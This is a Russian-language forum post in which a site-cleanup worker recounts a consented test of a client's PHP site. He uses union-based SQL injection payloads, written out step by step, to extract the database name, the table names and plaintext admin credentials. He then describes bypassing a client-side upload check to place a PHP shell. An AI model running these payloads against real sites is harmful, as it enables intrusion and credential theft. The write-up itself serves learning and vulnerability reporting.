• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Как я смог взломать сайт по гайду на Codeby

qwerty_man

qwerty_man

Премиум
11.04.2019
25
50
Всем привет!

Эта статья посвящена форуму codeby.net, в частности статьям пользователя explorer. Напомню, периодически я зарабатываю тем, что чищу сайты после взлома.

Обратился очередной клиент. Диагноз - хроническое изменение содержимого index.php.
Анализ файлов показал, что на этот раз это какая-то неизвестная самописная CMS на PHP.

После непродолжительных поисков нашел страницу, где используются GET-запросы. Звезды совпали и я сразу вспомнил статьи вышеупомянутого пользователя и недавний SQL-challenge, в котором я безуспешно участвовал =)

Как я смог взломать сайт по гайду на Codeby


По стандарту, пробуем кавычку и получаем следующее:

Как я смог взломать сайт по гайду на Codeby


Уже интересно. Попробуем запрос без кавычки и сразу (чего мелочиться то) с попыткой определить количество столбцов:

Код:
details.php?ID=-1 order by 10 -- -
Как я смог взломать сайт по гайду на Codeby


Вывело нужную ошибку и замечательно. Несколько запросов и в итоге имеем 8 столбцов. Попробуем найти название базы:

Код:
details.php?ID=-1 union select 1,2,database(),4,5,6,7,8 -- -
Как я смог взломать сайт по гайду на Codeby


Не совсем то, что нужно. А если database() поставить вместо 5, а вместо 2 попробовать version() ? =)

Код:
details.php?ID=-1 union select 1,version(),3,4,database(),6,7,8 -- -
Как я смог взломать сайт по гайду на Codeby



Класс. Имя и версия базы есть. Продолжаем пользоваться гайдом, увеличивая limit на 1 и узнаем имя таблиц в базе. Цель - что-то схожее с users. На 18-м шаге нашел таблицу user:

Код:
details.php?ID=-1 union select 1,table_name,3,4,database(),6,7,8 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 18,1 -- -
Как я смог взломать сайт по гайду на Codeby


Смотрим название таблиц:

Код:
-1 union select 1,column_name,3,4,database(),6,7,8 from information_schema.columns where table_name='user' limit 0,1 -- -
Перебрали, у нас есть: user_id, name, user_name, password. Тащим:

Код:
details.php?ID=-1 union select 1,user_name,3,4,password,6,7,8 from user -- -
Тут скриншота не будет =) Все удалось, никаких хешей не использовалось, все в открытом виде, вдобавок логин совпадал с паролем. Замазал большую часть материалов, админка выглядит примерно так:

Как я смог взломать сайт по гайду на Codeby


Далее везти не перестало. В системе управления обнаружился модуль с формами. Заглянем. Позволяет что-то загрузить на сервер. Пробуем загрузить .php и получаем ужасный alert:

Как я смог взломать сайт по гайду на Codeby


Не беда. Тупо отрубаем javascript для этого сайта и… Шел на сервере…

Как я смог взломать сайт по гайду на Codeby


Ну а дальше у нас практически God Mode:

Как я смог взломать сайт по гайду на Codeby


На все ушло около часа, попутно я писал этот текст и делал скриншоты.

Дело sql-инъекций живет и, наверно, мне попался довольно простой пример, подтверждающий это. В инъекциях я совсем новичок, эксплуатировал данную уязвимость впервые и за это спасибо codeby.net и explorer лично!


P.S. Все события происходили на живом сервере и сайте, клиент согласие на поиск уязвимости дал, отчет о их наличии получил, претензий (вроде) не имеет, как будет закрывать дырки (или отверстия) - не знаю =)
 
Последнее редактирование:
explorer

explorer

Red Team
05.08.2018
662
1 442
Прекрасно, что мой труд пошёл в нужное русло, и нашёл реальное применение. Вижу здесь пример того, что человек вникал в статьи, а не просто пролистал. Дальнейших успехов!
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб